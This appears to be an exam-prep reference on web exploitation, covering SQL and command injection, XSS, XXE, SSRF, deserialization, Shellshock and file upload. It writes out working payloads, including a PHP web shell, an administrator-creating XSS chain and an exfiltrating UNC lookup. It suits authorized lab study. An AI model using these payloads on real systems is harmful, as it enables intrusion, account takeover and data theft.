Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.
REFERENCE / 25 TASKS
Web exploitation
Choose the input you actually control. Prove a file read, command effect, SQL result, upload handler or authorization change before choosing the next payload.
Next: use discovered user homes, application paths and configuration names to retrieve relevant source, keys or credentials. Send recovered authentication material to Block 5 with its source and identity context.
Try these only after a plain baseline. Preserve the exact decoding layer that accepted the value.
Next: use discovered user homes, application paths and configuration names to retrieve relevant source, keys or credentials. Send recovered authentication material to Block 5 with its source and identity context.
Read / verify → Require recognizable target-file content and controls that exclude a reflected input or static error page.
If it fails → An empty/denied response can be path depth, normalization or file permissions. If only file read is proven, follow credentials instead of assuming code execution.
Prerequisite: a PHP file-inclusion sink that accepts the wrapper. The encoded output must decode to target source; a normal rendered page means the wrapper did not disclose source in that context.
Read / verify → Decode the response and identify real target source; normal HTML rendering does not prove source disclosure.
If it fails → Wrapper filtering, missing path or a non-PHP read operation can defeat this route; retain ordinary traversal/source-disclosure evidence separately.
Decisive output: the unique command output and target execution identity. If code appears as text, only read/inclusion is proven.
Prerequisites: the controlled header is logged, the web identity can read the exact log, the inclusion sink evaluates PHP and the payload survives encoding. On Windows/XAMPP, investigate application-specific paths such as C:\xampp\apache\logs\access.log.
Requires URL inclusion in the sink and PHP allow_url_include=On; it is disabled by default in current PHP configurations.
Requires remote URL inclusion, a compatible interpreter and target-to-LHOST:TRANSFER_PORT reachability. An absent HTTP request is inconclusive until reachability and filtering are separated.
Read / verify → Require command-specific output distinct from the logged payload and record hostname/identity.
If it fails → Missing log access, escaping or plain-text reading breaks this chain. Data/RFI variants are viable only when their explicitly listed wrapper/configuration and return-route conditions hold.
Needs: A valid upload request and permitted account; the server accepts and stores controlled bytes
Create and upload a benign canary
# Create and upload a benign canary
printf '%s\n' 'UPLOAD_CANARY_7F31' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;filename=probe.txt;type=text/plain' http://TARGET:PORT/upload
Record separately: acceptance, server-side name, storage path, retrieval URL, response content type, filesystem write identity and whether the storage location is executable.
Read / verify → Confirm saved/retrieved bytes and the final identifier/path; a success message alone is insufficient.
If it fails → A rejected extension may be client validation, server MIME/content policy or role permission. Preserve a valid benign baseline before changing one property.
Use only in a disposable authorized lab after confirming the exact user/home, SSH service, web write identity, destination semantics and overwrite impact. Failure can mean path normalization, permission denial, SSH policy or a different user—not necessarily that upload path control is absent.
Read / verify → Independently prove destination and bytes before claiming a privileged consumer or accepted key.
If it fails → Normalization, permissions and consumer policy are separate failure points; preserve the proven write without overstating its effect.
Use when: An input appears in a command-like operation or causes shell-dependent behavior
Needs: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof
Start with a benign identity marker appropriate to the inferred operating system
# Start with a benign identity marker appropriate to the inferred operating system
curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH
Decisive output: command output attributable to the target, such as a username/UID that is absent from the normal response. Reflection of the payload is not execution.
Test only the forms compatible with the observed command and platform
# Test only the forms compatible with the observed command and platform
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1%0aid
Variants — separators, quoting and POST bodies
# Variants — separators, quoting and POST bodies
curl -sk -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -sk -X POST -H 'Content-Type: application/json' -d '{"host":"127.0.0.1;id"}' http://TARGET:PORT/api/PATH
Variants — separators, quoting and POST bodies
For Windows command contexts, use an observed cmd.exe or PowerShell boundary before choosing syntax:
# Variants — separators, quoting and POST bodies
127.0.0.1 & whoami
127.0.0.1 | whoami
Repeat a control and a bounded-delay request several times
# Repeat a control and a bounded-delay request several times
curl -sk -o /dev/null -w 'control=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1' http://TARGET:PORT/PATH
curl -sk -o /dev/null -w 'test=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1;sleep 5' http://TARGET:PORT/PATH
Windows candidate after platform evidence
# Windows candidate after platform evidence
127.0.0.1 & timeout /t 5
# After command execution
Linux: id; hostname; pwd
Windows: whoami; hostname; cd
Decisive output: a repeatable delay near the chosen interval relative to multiple controls. One slow response is inconclusive.
Record the execution identity, working directory, shell/parser and egress assumptions. Hand reliable-session work to Block 7; do not treat one command response as an interactive shell.
Read / verify → Use reproducible command-specific output or controlled timing comparisons; a server error alone does not prove execution.
If it fails → A callback failure does not disprove already-confirmed execution. Diagnose quoting/interpreter/route at the relevant layer.
Use when: Database errors or controlled true/false response differences
Needs: Input reaches a SQL query; a valid request and stable response baseline exist
Change one parameter and compare a normal value, quote, true condition and false condition
Exam boundary: the current OSCP+ exam guide prohibits SQLmap and other automatic exploitation tools. The following procedure is manual. Recheck the current guide before an exam.
# Change one parameter and compare a normal value, quote, true condition and false condition
VALUE
VALUE'
VALUE' AND '1'='1
VALUE' AND '1'='2
# For a numeric context
1
1 AND 1=1
1 AND 1=2
# In an authorized disposable lab, preserve the application's quoting and comment syntax
' OR 1=1-- -
administrator'-- -
# First establish column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
# Or increment NULL columns until the query succeeds
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
# Then find a displayed text-compatible column
' UNION SELECT NULL,'MARKER_7F31',NULL-- -
# 4. Extract only after fingerprinting the DBMS
MySQL: ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL: ' UNION SELECT NULL,@@version,NULL-- -
# Choose a stable page marker or content length for true/false comparisons
' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -
# DBMS-specific time proofs
MySQL: ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'--
Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.
Read / verify → Require repeatable, query-dependent behavior and preserve request/session controls; identify DBMS evidence before DB-specific payloads.
If it fails → Generic errors, WAF responses, caching and broken sessions can imitate SQLi. Rebuild the valid request and test a discriminating control.
Use when: An injectable SELECT renders query results
Needs: Compatible column count/types, a reflected result position and rights to the requested data
First establish column count
# First establish column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
# Or increment NULL columns until the query succeeds
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
# Then find a displayed text-compatible column
' UNION SELECT NULL,'MARKER_7F31',NULL-- -
# Baseline
MySQL: ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL: ' UNION SELECT NULL,@@version,NULL-- -
Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.
Read / verify → Verify actual returned target data and the reflected position; distinguish a reflected input string from executed SQL output.
If it fails → No visible marker may be column/type mismatch or non-rendered output. Switch to a validated blind method if the query remains controllable.
Use when: Query influence exists but rows are not rendered
Needs: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests
Choose a stable page marker or content length for true/false comparisons
# Choose a stable page marker or content length for true/false comparisons
' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -
# DBMS-specific time proofs
MySQL: ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'--
Read / verify → Keep true/false controls, repeated measurements and the exact inferred predicate; a single slow response is inconclusive.
If it fails → Unstable sessions/caching/load can break inference. Fix the channel or choose another verified primitive rather than trusting noisy recovered strings.
Use when: Confirmed SQL control plus database file, execution or impersonation privileges
Needs: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer
MSSQL — xp_cmdshell when privilege and policy allow
This is a new transition, not an automatic consequence of SQL injection. Verify the DBMS identity, database role, feature state, filesystem permissions and path or egress assumptions first.
-- MSSQL — xp_cmdshell when privilege and policy allow
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- PostgreSQL — COPY PROGRAM when role and version allow
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;
-- MySQL/MariaDB — file write as a separate primitive
SELECT '<?php echo shell_exec($_GET["cmd"]); ?>'
INTO OUTFILE '/CONFIRMED/WEBROOT/check.php';
Requires sufficient server privilege; enabling it changes server configuration. Prefer a direct proof when it is already enabled. Verify the Windows service identity returned by whoami.
Requires a superuser or a role such as pg_execute_server_program; the command runs under the database service account.
Requires FILE privilege, a permitted secure_file_priv destination, a known writable webroot and PHP execution there. Verify the file through HTTP, then verify execution. If it only displays or downloads, only file write is proven.
Read / verify → Verify the resulting host and operating-system identity, or independently verify written/read bytes.
If it fails → Denied DB facility, secure file directory or OS permissions breaks the proposed transition. Retain useful data access and choose another enabled route.
Use when: SQL execution is plausible but in-band output is unavailable
Needs: A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver
Hypothetical MySQL/Windows UNC lookup in an authorized lab
Out-of-band testing is relevant only when direct content, errors, boolean differences and repeatable time delays cannot produce decisive evidence and the database can initiate a network request. A callback proves server/database-side resolution or connectivity; it does not by itself prove arbitrary query-result extraction.
-- Hypothetical MySQL/Windows UNC lookup in an authorized lab
SELECT LOAD_FILE(CONCAT('\\\\LHOST\\', DATABASE()));
Use a uniquely labelled controlled listener/domain and transmit no sensitive row data during proof. Required conditions include a DBMS/function that performs the lookup, sufficient database/OS permissions, working outbound DNS/SMB/HTTP as applicable and an observable callback. No callback is inconclusive until query execution and outbound reachability are separated. Avoid poisoning/spoofing; the current OSCP+ exam guide prohibits spoofing.
Read / verify → Correlate the query and unique receiver event; do not claim arbitrary database extraction from one callback.
If it fails → Function restrictions, platform behavior, privileges or blocked outbound transport can defeat the route. Use a stable in-band or blind method when available.
Use when: API objects expose role, ownership or security-sensitive properties
Needs: The server binds an untrusted property to a persistent security-relevant field without checking permission
Start with a valid captured registration/update request and add one server-owned property
# Start with a valid captured registration/update request and add one server-owned property
curl -ski -X POST -H 'Content-Type: application/json' -d '{"username":"TEST_USER","password":"TEST_PASSWORD","role":"administrator"}' http://TARGET:PORT/api/v1/register
# Variant — method mismatch reveals a valid route
curl -ski http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X OPTIONS http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X PUT -H 'Authorization: Bearer TOKEN' -H 'Content-Type: application/json' -d '{"password":"NEW_PASSWORD"}' http://TARGET:PORT/api/v1/users/USER/password
Decisive output: authenticate as the new/updated identity and perform an administrator-only action. An echoed or stored role field may be ignored by authorization logic.
Use PUT/PATCH only when a 405, Allow header, documentation or JavaScript behavior supports it. Verify the new credential through a separate login.
Read / verify → Independently reread the object and demonstrate the resulting permitted action under the same account.
If it fails → Ignored/filtered fields disprove that specific assignment route; investigate another property or function boundary.
Use when: Untrusted input reaches an executable HTML/JavaScript context
Needs: Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state
Then use a controlled proof appropriate to the context
<!-- Then use a controlled proof appropriate to the context -->
<img src=x onerror=alert(document.domain)>
Decisive output: JavaScript executes under the expected application origin and viewer context. Reflection or HTML display alone is not XSS.
Recreate a legitimate privileged workflow and obtain its anti-CSRF value first
reflected: victim must visit a crafted request;
stored: payload persists and a relevant user later renders it;
DOM-based: client-side code moves controlled data into an executable DOM sink.
Image/SVG/HTML5 event variants are alternative parser entry points, not evidence of distinct vulnerabilities. Inspect the resulting DOM and browser console/CSP before adding encoding or filter-bypass complexity.
// Recreate a legitimate privileged workflow and obtain its anti-CSRF value first
fetch('/admin/users/new')
.then(r => r.text())
.then(t => {
const token = new DOMParser().parseFromString(t, 'text/html')
.querySelector('input[name="csrf"]')?.value;
return fetch('/admin/users', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: new URLSearchParams({username:'NEW_USER', password:'NEW_PASSWORD', role:'administrator', csrf:token})
});
});
Prerequisites: the payload is rendered by a suitably privileged victim, under the correct origin; the paths/fields come from captured normal behavior; CSP and application logic allow execution; the action is permitted in the victim session.
Verification: authenticate as NEW_USER and perform one administrator-only action. If application administration exposes a legitimate plugin/template/file-upload function, continue with web file handling and re-prove server execution.
Read / verify → Verify execution in the intended origin/role and independently verify any claimed action; reflection alone is not execution.
If it fails → Encoding, CSP, inert contexts or absent victim interaction can break the chain. Preserve browser execution separately from claimed account takeover.
Use when: WordPress paths/components or an accepted application administrator credential
Needs: Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked
Shell commands
Recognition: WordPress-specific paths/assets, generator metadata, REST routes or wp-content. Prerequisite: correct scheme, host header and base path. Decisive output: core/plugin/theme identity or an authenticated capability that maps to a concrete prerequisite.
WPScan can be useful for component/user candidates, but verify every useful result manually. Vulnerability-database details may require an API token; never place a token in published notes or command history.
XML-RPC exposure is a feature clue, not automatically a vulnerability
A redirect alone is inconclusive. Confirm an authenticated page marker and the actual role. Useful capabilities can include media upload, plugin/theme editing/installation, post editing or administrative account management; each requires separate server-side authorization and execution conditions.
# XML-RPC exposure is a feature clue, not automatically a vulnerability
curl -sk -X POST https://HOSTNAME/xmlrpc.php \
-H 'Content-Type: text/xml' \
--data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'
Read / verify → Verify application role and any produced execution identity; component names alone do not establish a vulnerable version.
If it fails → Missing editor, insufficient role or read-only filesystem changes the branch. Use exact exploit prerequisite matching or credential reuse.
Use when: URL import, preview, webhook or fetch behavior
Needs: The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource
Listener
Recognition: URL import, webhook, image/PDF fetch, feed preview, link unfurling or callback validation. Prerequisite: a parameter that the server dereferences. Decisive output: a request observed at a controlled listener or a stable response difference tied to the destination.
The application, not Kali, must resolve and reach the destination. A browser-side fetch, open redirect or reflected URL does not prove SSRF.
Internal destination and parser variations
# Internal destination and parser variations
# Only after an external controlled callback proves server-side fetching
curl -sk 'https://HOSTNAME/fetch?url=http://127.0.0.1:PORT/'
curl -sk 'https://HOSTNAME/fetch?url=http://localhost:PORT/'
# Preserve encoding when the URL is nested in form data
curl -sk -X POST https://HOSTNAME/fetch \
--data-urlencode 'url=http://127.0.0.1:PORT/'
Read / verify → Verify source/request evidence and the exact returned internal behavior; separate blind fetches from response-readable SSRF.
If it fails → No callback may be DNS, URL validation, egress or application behavior. Test the first failed boundary and avoid indiscriminate destination guessing.
Use when: Controlled input appears in a server-rendered template, preview, email or report
Needs: The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function
These are separate probes, not one universal payload
# These are separate probes, not one universal payload
# Jinja/Twig-style expression probe
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH
# A different delimiter family, only when the first is literal or errors suggest it
curl -sS -G --data-urlencode 'name=${7*7}' http://TARGET:PORT/PATH
# Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation
curl -sS -G --data-urlencode "name={{7*'7'}}" http://TARGET:PORT/PATH
Read: changed, repeatable computed output compared with a literal control supports evaluation. 49 alone does not identify the engine. Jinja commonly repeats the string; Twig commonly treats it numerically. Confirm the engine/version and exposed objects before selecting a file-read or command primitive. Literal reflection → inspect another template/input boundary; a syntax error alone does not prove an exploitable expression.
Read / verify → Require repeatable computed output and corroborating engine clues; the value 49 alone does not identify the engine.
If it fails → Literal output rejects that syntax in the tested sink; a syntax error can be a parser clue but is not exploitation proof.
Use when: A working XML request reaches a server-side parser that accepts a controlled document or field
Needs: External entity or XInclude processing is enabled and the parser identity can read the selected file
Example body for an XML-compatible endpoint
<!-- Example body for an XML-compatible endpoint -->
<?xml version="1.0"?>
<!DOCTYPE request [<!ENTITY probe SYSTEM "file:///etc/passwd">]>
<request><value>&probe;</value></request>
A blind endpoint needs an observable parser/network effect before any exfiltration claim. Follow verified config/source reads into credential or application testing.
Read / verify → Require recognizable file content or a uniquely correlated parser-side event, not an echoed request.
If it fails → DTD rejection, unresolved entities or no network effect rules out only that parser/configuration route; preserve the working XML baseline.
Use when: A login or search accepts JSON/nested form properties and evidence suggests an operator-based document query
Needs: The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type
Shell commands
# Baseline
# A known username with an operator-valued password
curl -i -c cookies.txt -H 'Content-Type: application/json' \
--data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN
# Distinct context: a form parser that expands bracketed properties
curl -i -c cookies.txt --data-urlencode 'username=USER' \
--data-urlencode 'password[$ne]=x' http://TARGET:PORT/LOGIN
Read: compare against the same operator encoded as a plain string and against a known wrong password. Confirm the resulting identity through a protected route. A 200/login page or changed error is not authenticated access. Type validation, hashing the supplied password before querying, or removal of $ operators can rule out this route. Broader $ne username queries may select an unexpected first account; keep the intended identity explicit.
Read / verify → Verify a protected action and resulting identity; a 200 status or cookie alone is not authentication.
If it fails → Schema/type validation, password pre-hashing or operator filtering can reject the route; do not broaden to an unintended first account.
Use when: Source or request evidence shows controlled serialized PHP data reaches unsafe unserialize
Needs: Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes
Shell commands
# Baseline
# Inspect available families and the exact chain's version/vector requirements
phpggc -l
phpggc -i Monolog/RCE1
# Example function-call gadget, only when that chain matches the application
phpggc -b Monolog/RCE1 system id > payload.b64
Read: base64 is a transport choice, not a bypass—the sink must decode it before deserialization. Preserve raw serialized lengths and binary bytes; use the encoding that the real request expects. A generated payload is not execution proof. Missing classes, rejected object types or a different dependency version → choose a matching chain or another primitive. Verify a benign effect before selecting a shell payload.
Read / verify → Require the exact dependency/version, sink and attributable effect; successful payload generation proves none of these.
If it fails → Missing classes, allowed-class restrictions, length corruption or version mismatch defeats the chain; choose only an evidence-matched family.
Use when: A real CGI endpoint invokes Bash and component/patch evidence supports the vulnerable family
Needs: HTTP-derived environment data reaches an affected Bash process and the selected command is available
Shell commands
# Baseline
# Bounded command-effect probe at the actual CGI script
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' \
http://TARGET:PORT/cgi-bin/SCRIPT
Read: an attributable UID in the executed CGI response supports the effect; reflection of the header text does not. Header/CGI parsing errors require inspecting the request and script behavior. No effect → re-check the actual component and patch status before selecting another PoC. This is the CVE-2014-6271 family, not a generic command separator for every web input.
Read / verify → Require command-derived output distinct from reflected header text and record the CGI identity.
If it fails → No effect can mean patched Bash, non-Bash CGI, header sanitization or wrong endpoint; re-check the component before another payload.